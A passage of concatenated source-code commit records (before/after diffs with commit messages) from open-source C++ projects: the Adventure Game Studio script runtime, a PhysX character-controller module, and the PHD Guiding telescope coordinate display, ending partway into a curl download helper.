intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5], parm_value[6], parm_value[7]);\n }\n case 9:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5], parm_value[6], parm_value[7], parm_value[8]);\n }\n }\n\n cc_error(\"too many arguments in call to function\");\n return -1;\n}\n<commit_msg>Engine: Fixed non-function symbols not being exported to plugins.<commit_after>\/\/=============================================================================\n\/\/\n\/\/ Adventure Game Studio (AGS)\n\/\/\n\/\/ Copyright (C) 1999-2011 Chris Jones and 2011-20xx others\n\/\/ The full list of copyright holders can be found in the Copyright.txt\n\/\/ file, which is part of this source code distribution.\n\/\/\n\/\/ The AGS source code is provided under the Artistic License 2.0.\n\/\/ A copy of this license can be found in the file License.txt and at\n\/\/ http:\/\/www.opensource.org\/licenses\/artistic-license-2.0.php\n\/\/\n\/\/=============================================================================\n\/\/\n\/\/ C-Script run-time interpreter (c) 2001 Chris Jones\n\/\/\n\/\/ You must DISABLE OPTIMIZATIONS AND REGISTER VARIABLES in your compiler\n\/\/ when compiling this, or strange results can happen.\n\/\/\n\/\/ There is a problem with importing functions on 16-bit compilers: the\n\/\/ script system assumes that all parameters are passed as 4 bytes, which\n\/\/ ints are not on 16-bit systems. Be sure to define all parameters as longs,\n\/\/ or join the 21st century and switch to DJGPP or Visual C++.\n\/\/\n\/\/=============================================================================\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <string.h>\n#include \"script\/script_runtime.h\"\n#include \"script\/script_common.h\"\n#include \"script\/cc_error.h\"\n#include \"script\/cc_options.h\"\n#include \"ac\/dynobj\/cc_dynamicarray.h\"\n#include \"ac\/dynobj\/managedobjectpool.h\"\n#include \"script\/systemimports.h\"\n#include \"ac\/statobj\/staticobject.h\"\n\nextern ccInstance *current_instance; \/\/ in script\/cc_instance\n\nbool ccAddExternalStaticFunction(const char *name, ScriptAPIFunction *pfn)\n{\n return simp.add(name, RuntimeScriptValue().SetStaticFunction(pfn), NULL) == 0;\n}\n\nbool ccAddExternalPluginFunction(const char *name, void *pfn)\n{\n return simp.add(name, RuntimeScriptValue().SetPluginFunction(pfn), NULL) == 0;\n}\n\nbool ccAddExternalStaticObject(const char *name, void *ptr, ICCStaticObject *manager)\n{\n return simp.add(name, RuntimeScriptValue().SetStaticObject(ptr, manager), NULL) == 0;\n}\n\nbool ccAddExternalStaticArray(const char *name, void *ptr, StaticArray *array_mgr)\n{\n return simp.add(name, RuntimeScriptValue().SetStaticArray(ptr, array_mgr), NULL) == 0;\n}\n\nbool ccAddExternalDynamicObject(const char *name, void *ptr, ICCDynamicObject *manager)\n{\n return simp.add(name, RuntimeScriptValue().SetDynamicObject(ptr, manager), NULL) == 0;\n}\n\nbool ccAddExternalObjectFunction(const char *name, ScriptAPIObjectFunction *pfn)\n{\n return simp.add(name, RuntimeScriptValue().SetObjectFunction(pfn), NULL) == 0;\n}\n\nbool ccAddExternalScriptSymbol(const char *name, const RuntimeScriptValue &prval, ccInstance *inst)\n{\n return simp.add(name, prval, inst) == 0;\n}\n\nvoid ccRemoveExternalSymbol(const char *namof)\n{\n simp.remove(namof);\n}\n\nvoid ccRemoveAllSymbols()\n{\n simp.clear();\n}\n\nccInstance *loadedInstances[MAX_LOADED_INSTANCES] = {NULL,\nNULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, \nNULL, NULL, NULL, NULL, NULL, NULL};\n\nvoid nullfree(void *data)\n{\n if (data != NULL)\n free(data);\n}\n\nvoid *ccGetSymbolAddress(char *namof)\n{\n const ScriptImport *import = simp.getByName(namof);\n if (import)\n {\n return import->Value.Ptr;\n }\n return NULL;\n}\n\nbool ccAddExternalFunctionForPlugin(const char *name, void *pfn)\n{\n return simp_for_plugin.add(name, RuntimeScriptValue().SetPluginFunction(pfn), NULL) == 0;\n}\n\nvoid *ccGetSymbolAddressForPlugin(char *namof)\n{\n const ScriptImport *import = simp_for_plugin.getByName(namof);\n if (import)\n {\n return import->Value.Ptr;\n }\n else\n {\n \/\/ Also search the internal symbol table for non-function symbols\n import = simp.getByName(namof);\n if (import)\n {\n return import->Value.Ptr;\n }\n }\n return NULL;\n}\n\nnew_line_hook_type new_line_hook = NULL;\n\nchar ccRunnerCopyright[] = \"ScriptExecuter32 v\" SCOM_VERSIONSTR \" (c) 2001 Chris Jones\";\nint maxWhileLoops = 0;\n\n\/\/ If a while loop does this many iterations without the\n\/\/ NofityScriptAlive function getting called, the script\n\/\/ aborts. Set to 0 to disable.\nvoid ccSetScriptAliveTimer (int numloop) {\n maxWhileLoops = numloop;\n}\n\nvoid ccNotifyScriptStillAlive () {\n if (current_instance != NULL)\n current_instance->flags |= INSTF_RUNNING;\n}\n\nvoid ccSetDebugHook(new_line_hook_type jibble)\n{\n new_line_hook = jibble;\n}\n\nint call_function(intptr_t addr, const RuntimeScriptValue *object, int numparm, const RuntimeScriptValue *parms)\n{\n if (!addr)\n {\n cc_error(\"null function pointer in call_function\");\n return -1;\n }\n if (numparm > 0 && !parms)\n {\n cc_error(\"invalid parameters array in call_function\");\n return -1;\n }\n\n intptr_t parm_value[9];\n if (object)\n {\n parm_value[0] = (intptr_t)object->GetPtrWithOffset();\n numparm++;\n }\n\n for (int ival = object ? 1 : 0, iparm = 0; ival < numparm; ++ival, ++iparm)\n {\n switch (parms[iparm].Type)\n {\n case kScValInteger:\n case kScValFloat: \/\/ AGS passes floats, copying their values into long variable\n case kScValPluginArg:\n parm_value[ival] = (intptr_t)parms[iparm].IValue;\n break;\n break;\n default:\n parm_value[ival] = (intptr_t)parms[iparm].GetPtrWithOffset();\n break;\n }\n }\n\n \/\/\n \/\/ AN IMPORTANT NOTE ON PARAM TYPE\n \/\/ of 2012-11-10\n \/\/\n \/\/\/\/ NOTE of 2012-12-20:\n \/\/\/\/ Everything said below is applicable only for calling\n \/\/\/\/ exported plugin functions.\n \/\/\n \/\/ Here we are sending parameters of type intptr_t to registered\n \/\/ function of unknown kind. Intptr_t is 32-bit for x32 build and\n \/\/ 64-bit for x64 build.\n \/\/ The exported functions usually have two types of parameters:\n \/\/ pointer and 'int' (32-bit). For x32 build those two have the\n \/\/ same size, but for x64 build first has 64-bit size while the\n \/\/ second remains 32-bit.\n \/\/ In formal case that would cause 'overflow' - function will\n \/\/ receive more data than needed (written to stack), with some\n \/\/ values shifted further by 32 bits.\n \/\/\n \/\/ Upon testing, however, it was revealed that AMD64 processor,\n \/\/ the only platform we support x64 Linux AGS build on right now,\n \/\/ treats all the function parameters pushed to stack as 64-bit\n \/\/ values (few first parameters are sent via registers, and hence\n \/\/ are least concern anyway). Therefore, no 'overflow' occurs,\n \/\/ and 64-bit values are being effectively truncated to 32-bit\n \/\/ integers in the callee.\n \/\/\n \/\/ Since this is still quite unreliable, this should be\n \/\/ reimplemented when there's enough free time available for\n \/\/ developers both for coding & testing.\n \/\/\n \/\/ Most basic idea is to pass array of RuntimeScriptValue\n \/\/ objects (that hold type description) and get same RSV as a\n \/\/ return result. Keep in mind, though, that this solution will\n \/\/ require fixing ALL exported functions, so a good amount of\n \/\/ time and energy should be allocated for this task.\n \/\/\n\n switch (numparm)\n {\n case 0:\n {\n int (*fparam) ();\n fparam = (int (*)())addr;\n return fparam();\n }\n case 1:\n {\n int (*fparam) (intptr_t);\n fparam = (int (*)(intptr_t))addr;\n return fparam(parm_value[0]);\n }\n case 2:\n {\n int (*fparam) (intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1]);\n }\n case 3:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2]);\n }\n case 4:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3]);\n }\n case 5:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4]);\n }\n case 6:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5]);\n }\n case 7:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5], parm_value[6]);\n }\n case 8:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5], parm_value[6], parm_value[7]);\n }\n case 9:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5], parm_value[6], parm_value[7], parm_value[8]);\n }\n }\n\n cc_error(\"too many arguments in call to function\");\n return -1;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <Internal\/CharacterControlManagerImpl.hpp>\n#include <Internal\/PhysicsModuleImplementation.hpp>\n#include <cstdint>\nnamespace DoremiEngine\n{\n namespace Physics\n {\n CharacterControlManagerImpl::CharacterControlManagerImpl(InternalPhysicsUtils& p_utils) : m_utils(p_utils)\n {\n m_manager = PxCreateControllerManager(*m_utils.m_worldScene);\n }\n CharacterControlManagerImpl::~CharacterControlManagerImpl() {}\n\n int CharacterControlManagerImpl::AddController(int p_id, int p_matID, XMFLOAT3 p_position, XMFLOAT2 p_dimensions)\n {\n \/\/ Set start attributes of the controller\n PxCapsuleControllerDesc desc;\n desc.setToDefault();\n desc.position = PxExtendedVec3(p_position.x, p_position.y, p_position.z);\n desc.height = p_dimensions.x;\n desc.radius = p_dimensions.y;\n desc.material = m_utils.m_physicsMaterialManager->GetMaterial(p_matID); \/\/ DANGER! Assumes it already has material\n if(desc.material == NULL)\n {\n throw std::runtime_error(\"No physics material exists with that ID\");\n }\n desc.stepOffset = 0.1;\n desc.reportCallback = m_controllerCallback;\n desc.behaviorCallback = this;\n\n \/\/ Hard coded up vector\n desc.upDirection = PxVec3(0, 1, 0);\n\n m_controllers[p_id] = m_manager->createController(desc);\n m_IDsByControllers[m_controllers[p_id]] = p_id;\n\n SetCallback(p_id, (1 << 0), (1 << 0));\n\n \/\/ Redundant return?\n return p_id;\n }\n\n int CharacterControlManagerImpl::MoveController(int p_id, XMFLOAT3 p_discplacement, float p_dt)\n {\n \/*\n Some variable that apperas to define when the controller stops moving\n Tweak as necessary. Possibly could be moved to some other place.*\/\n float m_minDistTraveled = 0;\n \/\/ EMPTY FILTERS!\n PxControllerFilters filters;\n \/\/ Check if controller exists\n if(m_controllers.find(p_id) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + p_id);\n }\n m_controllers[p_id]->move(PxVec3(p_discplacement.x, p_discplacement.y, p_discplacement.z), 0, p_dt, filters);\n \/\/ Redundant return?\n return p_id;\n }\n\n XMFLOAT3 CharacterControlManagerImpl::GetPosition(int p_id)\n {\n \/\/ Check if controller exists\n if(m_controllers.find(p_id) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + p_id);\n }\n PxExtendedVec3 p = m_controllers[p_id]->getPosition();\n return XMFLOAT3(p.x, p.y, p.z);\n }\n\n XMFLOAT4 CharacterControlManagerImpl::GetOrientation(int p_id)\n {\n \/\/ Check if controller exists\n if(m_controllers.find(p_id) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + p_id);\n }\n PxQuat q = m_controllers[p_id]->getActor()->getGlobalPose().q;\n return XMFLOAT4(q.x, q.y, q.z, q.w);\n }\n\n void CharacterControlManagerImpl::SetCallback(int p_bodyID, int p_filterGroup, int p_filterMask)\n {\n \/\/ Check if controller exists\n if(m_controllers.find(p_bodyID) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + p_bodyID);\n }\n PxFilterData filterData;\n filterData.word0 = p_filterGroup; \/\/ Own ID\n filterData.word1 = p_filterMask; \/\/ ID mask to filter pairs that trigger contact callback\n PxRigidActor* actor = m_controllers[p_bodyID]->getActor();\n uint32_t numShapes = actor->getNbShapes();\n \/\/ Magic allocation of memory (i think)\n PxShape** shapes = (PxShape**)m_utils.m_allocator.allocate(sizeof(PxShape*) * numShapes, 0, __FILE__, __LINE__);\n actor->getShapes(shapes, numShapes);\n for(uint32_t i = 0; i < numShapes; i++)\n {\n PxShape* shape = shapes[i];\n shape->setSimulationFilterData(filterData);\n }\n if(shapes)\n {\n m_utils.m_allocator.deallocate(shapes);\n shapes = NULL;\n }\n }\n\n void CharacterControlManagerImpl::SetCallbackClass(PxUserControllerHitReport* p_callback) { m_controllerCallback = p_callback; }\n\n unordered_map<PxController*, int> CharacterControlManagerImpl::GetIdsByControllers() { return m_IDsByControllers; }\n\n PxControllerBehaviorFlags CharacterControlManagerImpl::getBehaviorFlags(const PxShape& shape, const PxActor& actor)\n {\n return PxControllerBehaviorFlag::eCCT_CAN_RIDE_ON_OBJECT;\n }\n PxControllerBehaviorFlags CharacterControlManagerImpl::getBehaviorFlags(const PxController& controller)\n {\n return PxControllerBehaviorFlags(0);\n }\n PxControllerBehaviorFlags CharacterControlManagerImpl::getBehaviorFlags(const PxObstacle& obstacle) { return PxControllerBehaviorFlags(0); }\n }\n}<commit_msg>PhysicsModule: fixed exception throwing<commit_after>#include <Internal\/CharacterControlManagerImpl.hpp>\n#include <Internal\/PhysicsModuleImplementation.hpp>\n#include <cstdint>\nnamespace DoremiEngine\n{\n namespace Physics\n {\n CharacterControlManagerImpl::CharacterControlManagerImpl(InternalPhysicsUtils& p_utils) : m_utils(p_utils)\n {\n m_manager = PxCreateControllerManager(*m_utils.m_worldScene);\n }\n CharacterControlManagerImpl::~CharacterControlManagerImpl() {}\n\n int CharacterControlManagerImpl::AddController(int p_id, int p_matID, XMFLOAT3 p_position, XMFLOAT2 p_dimensions)\n {\n \/\/ Set start attributes of the controller\n PxCapsuleControllerDesc desc;\n desc.setToDefault();\n desc.position = PxExtendedVec3(p_position.x, p_position.y, p_position.z);\n desc.height = p_dimensions.x;\n desc.radius = p_dimensions.y;\n desc.material = m_utils.m_physicsMaterialManager->GetMaterial(p_matID); \/\/ DANGER! Assumes it already has material\n if(desc.material == NULL)\n {\n throw std::runtime_error(\"No physics material exists with that ID\");\n }\n desc.stepOffset = 0.1;\n desc.reportCallback = m_controllerCallback;\n desc.behaviorCallback = this;\n\n \/\/ Hard coded up vector\n desc.upDirection = PxVec3(0, 1, 0);\n\n m_controllers[p_id] = m_manager->createController(desc);\n m_IDsByControllers[m_controllers[p_id]] = p_id;\n\n SetCallback(p_id, (1 << 0), (1 << 0));\n\n \/\/ Redundant return?\n return p_id;\n }\n\n int CharacterControlManagerImpl::MoveController(int p_id, XMFLOAT3 p_discplacement, float p_dt)\n {\n \/*\n Some variable that apperas to define when the controller stops moving\n Tweak as necessary. Possibly could be moved to some other place.*\/\n float m_minDistTraveled = 0;\n \/\/ EMPTY FILTERS!\n PxControllerFilters filters;\n \/\/ Check if controller exists\n if(m_controllers.find(p_id) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + to_string(p_id));\n }\n m_controllers[p_id]->move(PxVec3(p_discplacement.x, p_discplacement.y, p_discplacement.z), 0, p_dt, filters);\n \/\/ Redundant return?\n return p_id;\n }\n\n XMFLOAT3 CharacterControlManagerImpl::GetPosition(int p_id)\n {\n \/\/ Check if controller exists\n if(m_controllers.find(p_id) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + to_string(p_id));\n }\n PxExtendedVec3 p = m_controllers[p_id]->getPosition();\n return XMFLOAT3(p.x, p.y, p.z);\n }\n\n XMFLOAT4 CharacterControlManagerImpl::GetOrientation(int p_id)\n {\n \/\/ Check if controller exists\n if(m_controllers.find(p_id) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + to_string(p_id));\n }\n PxQuat q = m_controllers[p_id]->getActor()->getGlobalPose().q;\n return XMFLOAT4(q.x, q.y, q.z, q.w);\n }\n\n void CharacterControlManagerImpl::SetCallback(int p_bodyID, int p_filterGroup, int p_filterMask)\n {\n \/\/ Check if controller exists\n if(m_controllers.find(p_bodyID) == m_controllers.end())\n {\n \/\/ Controller did not exist\n throw std::runtime_error(\"No controller exists with id: \" + to_string(p_bodyID));\n }\n PxFilterData filterData;\n filterData.word0 = p_filterGroup; \/\/ Own ID\n filterData.word1 = p_filterMask; \/\/ ID mask to filter pairs that trigger contact callback\n PxRigidActor* actor = m_controllers[p_bodyID]->getActor();\n uint32_t numShapes = actor->getNbShapes();\n \/\/ Magic allocation of memory (i think)\n PxShape** shapes = (PxShape**)m_utils.m_allocator.allocate(sizeof(PxShape*) * numShapes, 0, __FILE__, __LINE__);\n actor->getShapes(shapes, numShapes);\n for(uint32_t i = 0; i < numShapes; i++)\n {\n PxShape* shape = shapes[i];\n shape->setSimulationFilterData(filterData);\n }\n if(shapes)\n {\n m_utils.m_allocator.deallocate(shapes);\n shapes = NULL;\n }\n }\n\n void CharacterControlManagerImpl::SetCallbackClass(PxUserControllerHitReport* p_callback) { m_controllerCallback = p_callback; }\n\n unordered_map<PxController*, int> CharacterControlManagerImpl::GetIdsByControllers() { return m_IDsByControllers; }\n\n PxControllerBehaviorFlags CharacterControlManagerImpl::getBehaviorFlags(const PxShape& shape, const PxActor& actor)\n {\n return PxControllerBehaviorFlag::eCCT_CAN_RIDE_ON_OBJECT;\n }\n PxControllerBehaviorFlags CharacterControlManagerImpl::getBehaviorFlags(const PxController& controller)\n {\n return PxControllerBehaviorFlags(0);\n }\n PxControllerBehaviorFlags CharacterControlManagerImpl::getBehaviorFlags(const PxObstacle& obstacle) { return PxControllerBehaviorFlags(0); }\n }\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * coords_view.cpp\n * PHD Guiding\n *\n * Created by Oleg Kutkov\n * Copyright (c) 2017 Crimean Astrophysical observatory\n * All rights reserved.\n *\n * This source code is distributed under the following \"BSD\" license\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * Neither the name of Bret McKee, Dad Dog Development Ltd, nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\n *\/\n\n#include \"phd.h\"\n#include \"coords_view.h\"\n\nBEGIN_EVENT_TABLE(CoordsView, wxWindow)\n EVT_PAINT(CoordsView::OnPaint)\nEND_EVENT_TABLE()\n\nCoordsView::CoordsView(wxWindow *parent):\n\twxWindow(parent,wxID_ANY,wxDefaultPosition,wxDefaultSize, wxFULL_REPAINT_ON_RESIZE, \"Scope position\")\n{\n\tSetBackgroundStyle(wxBG_STYLE_PAINT);\n\tthis->visible = false;\n}\n\nCoordsView::~CoordsView()\n{\n}\n\nvoid CoordsView::UpdateData(double ha, double ra, double dec, double ra_sp, double dec_sp)\n{\n\tcurr_ha = ha;\n\tcurr_ra = ra;\n\tcurr_dec = dec;\n\tcurr_ra_sp = ra_sp;\n\tcurr_dec_sp = dec_sp;\n\n if (this->visible) {\n Refresh();\n\t}\n}\n\nvoid CoordsView::SetState(bool is_active)\n{\n this->visible = is_active;\n if (is_active)\n Refresh();\n}\n\ninline double frac(const double& x)\n{\n return x - floor(x);\n}\n\ninline void degree_to_coord(const double deg, int &h, int &m, int &s)\n{\n\th = deg \/ 15;\n\tm = abs((int)(frac(deg \/ 15) * 60));\n\ts = abs((int)(frac(frac(deg \/ 15) * 60) * 60));\n}\n\nvoid CoordsView::OnPaint(wxPaintEvent& WXUNUSED(evt))\n{\n\twxAutoBufferedPaintDC dc(this);\n\n\tdc.SetBackground(wxColour(0,0,0));\n\n\tdc.Clear();\n\n\tif (!pFrame || !pFrame->pGuider || pFrame->pGuider->GetState() == STATE_UNINITIALIZED) return;\n\n#if defined (__APPLE__)\n const wxFont& smallFont = *wxSMALL_FONT;\n#else\n const wxFont& smallFont = *wxSWISS_FONT;\n#endif\n\n\tconst int ysize = this->GetSize().GetY();\n\n\twxFont largeFont = smallFont.Scaled(1.25);\n\n dc.SetFont(largeFont);\n\n\tdc.SetTextForeground(*wxWHITE);\n\n\tdc.DrawText(\"t: \", 10, 5);\n\tdc.DrawText(wxString::Format(wxT(\"%3.2f\"), curr_ha), 55, 5);\n\n\n\tdc.DrawText(\"RA: \", 10, 30);\n\n\tint ra_h, ra_m, ra_s;\n\tdegree_to_coord(curr_ra, ra_h, ra_m, ra_s);\n\n\tdc.DrawText(wxString::Format(wxT(\"%02i h %02i m %02i s\"), ra_h, ra_m, ra_s), 55, 30);\n\n\n\tdc.DrawText(\"DEC: \", 10, 55);\n\n\tint dec_h, dec_m, dec_s;\n\tdegree_to_coord(curr_dec, dec_h, dec_m, dec_s);\n\n\tdc.DrawText(wxString::Format(wxT(\"%02i h %02i m %02i s\"), dec_h, dec_m, dec_s), 55, 55);\n\n\n\tdc.DrawText(\"RA SPEED: \", 10, 85);\n\tdc.DrawText(wxString::Format(wxT(\"%.2f arcsec\/sec\"), curr_ra_sp), 105, 85);\n\n\tdc.DrawText(\"DEC SPEED: \", 10, 115);\n\tdc.DrawText(wxString::Format(wxT(\"%.2f arcsec\/sec\"), curr_dec_sp), 105, 115);\n}\n\n\n\n<commit_msg>text position changed<commit_after>\/*\n * coords_view.cpp\n * PHD Guiding\n *\n * Created by Oleg Kutkov\n * Copyright (c) 2017 Crimean Astrophysical observatory\n * All rights reserved.\n *\n * This source code is distributed under the following \"BSD\" license\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * Neither the name of Bret McKee, Dad Dog Development Ltd, nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\n *\/\n\n#include \"phd.h\"\n#include \"coords_view.h\"\n\nBEGIN_EVENT_TABLE(CoordsView, wxWindow)\n EVT_PAINT(CoordsView::OnPaint)\nEND_EVENT_TABLE()\n\nCoordsView::CoordsView(wxWindow *parent):\n\twxWindow(parent,wxID_ANY,wxDefaultPosition,wxDefaultSize, wxFULL_REPAINT_ON_RESIZE, \"Scope position\")\n{\n\tSetBackgroundStyle(wxBG_STYLE_PAINT);\n\tthis->visible = false;\n}\n\nCoordsView::~CoordsView()\n{\n}\n\nvoid CoordsView::UpdateData(double ha, double ra, double dec, double ra_sp, double dec_sp)\n{\n\tcurr_ha = ha;\n\tcurr_ra = ra;\n\tcurr_dec = dec;\n\tcurr_ra_sp = ra_sp;\n\tcurr_dec_sp = dec_sp;\n\n if (this->visible) {\n Refresh();\n\t}\n}\n\nvoid CoordsView::SetState(bool is_active)\n{\n this->visible = is_active;\n if (is_active)\n Refresh();\n}\n\ninline double frac(const double& x)\n{\n return x - floor(x);\n}\n\ninline void degree_to_coord(const double deg, int &h, int &m, int &s)\n{\n\th = deg \/ 15;\n\tm = abs((int)(frac(deg \/ 15) * 60));\n\ts = abs((int)(frac(frac(deg \/ 15) * 60) * 60));\n}\n\nvoid CoordsView::OnPaint(wxPaintEvent& WXUNUSED(evt))\n{\n\twxAutoBufferedPaintDC dc(this);\n\n\tdc.SetBackground(wxColour(0,0,0));\n\n\tdc.Clear();\n\n\tif (!pFrame || !pFrame->pGuider || pFrame->pGuider->GetState() == STATE_UNINITIALIZED) return;\n\n#if defined (__APPLE__)\n const wxFont& smallFont = *wxSMALL_FONT;\n#else\n const wxFont& smallFont = *wxSWISS_FONT;\n#endif\n\n\tconst int ysize = this->GetSize().GetY();\n\n\twxFont largeFont = smallFont.Scaled(1.25);\n\n dc.SetFont(largeFont);\n\n\tdc.SetTextForeground(*wxWHITE);\n\n\tdc.DrawText(\"t: \", 10, 5);\n\tdc.DrawText(wxString::Format(wxT(\"%3.2f\"), curr_ha), 55, 5);\n\n\n\tdc.DrawText(\"RA: \", 10, 30);\n\n\tint ra_h, ra_m, ra_s;\n\tdegree_to_coord(curr_ra, ra_h, ra_m, ra_s);\n\n\tdc.DrawText(wxString::Format(wxT(\"%02i h %02i m %02i s\"), ra_h, ra_m, ra_s), 55, 30);\n\n\n\tdc.DrawText(\"DEC: \", 10, 55);\n\n\tint dec_h, dec_m, dec_s;\n\tdegree_to_coord(curr_dec, dec_h, dec_m, dec_s);\n\n\tdc.DrawText(wxString::Format(wxT(\"%02i h %02i m %02i s\"), dec_h, dec_m, dec_s), 55, 55);\n\n\n\tdc.DrawText(\"RA SPEED: \", 10, 85);\n\tdc.DrawText(wxString::Format(wxT(\"%.2f arcsec\/sec\"), curr_ra_sp), 120, 85);\n\n\tdc.DrawText(\"DEC SPEED: \", 10, 115);\n\tdc.DrawText(wxString::Format(wxT(\"%.2f arcsec\/sec\"), curr_dec_sp), 120, 115);\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>#ifdef WIN32\n#include <windows.h>\n#define CURL_STATICLIB \/\/ this has to match the way the curl library was built.\n#else\n#include <stdlib.h>\n#endif\n\n#include <curl\/curl.h>\n#include <string.h>\n\n#include \"safe_fopen.h\"\n\nstruct Downloaded_Data\n{\n char* text;\n int size;\n};\n\nstatic size_t WriteCallback(char *contents, size_t size, size_t nmemb, void *userdata)\n{\n Downloaded_Data *downloaded_data = (Downloaded_Data*)userdata;\n size_t data_size = size * nmemb;\n\n if(downloaded_data->text)\n {\n free(downloaded_data->text);\n downloaded_data->text = NULL;\n }\n\n if(size == 0) return 0;\n\n downloaded_data->text = (char*)malloc(data_size + 1);\n \n if(!downloaded_data->text) return 0;\n\n downloaded_data->size = data_size;\n memcpy(downloaded_data->text, contents, data_size);\n 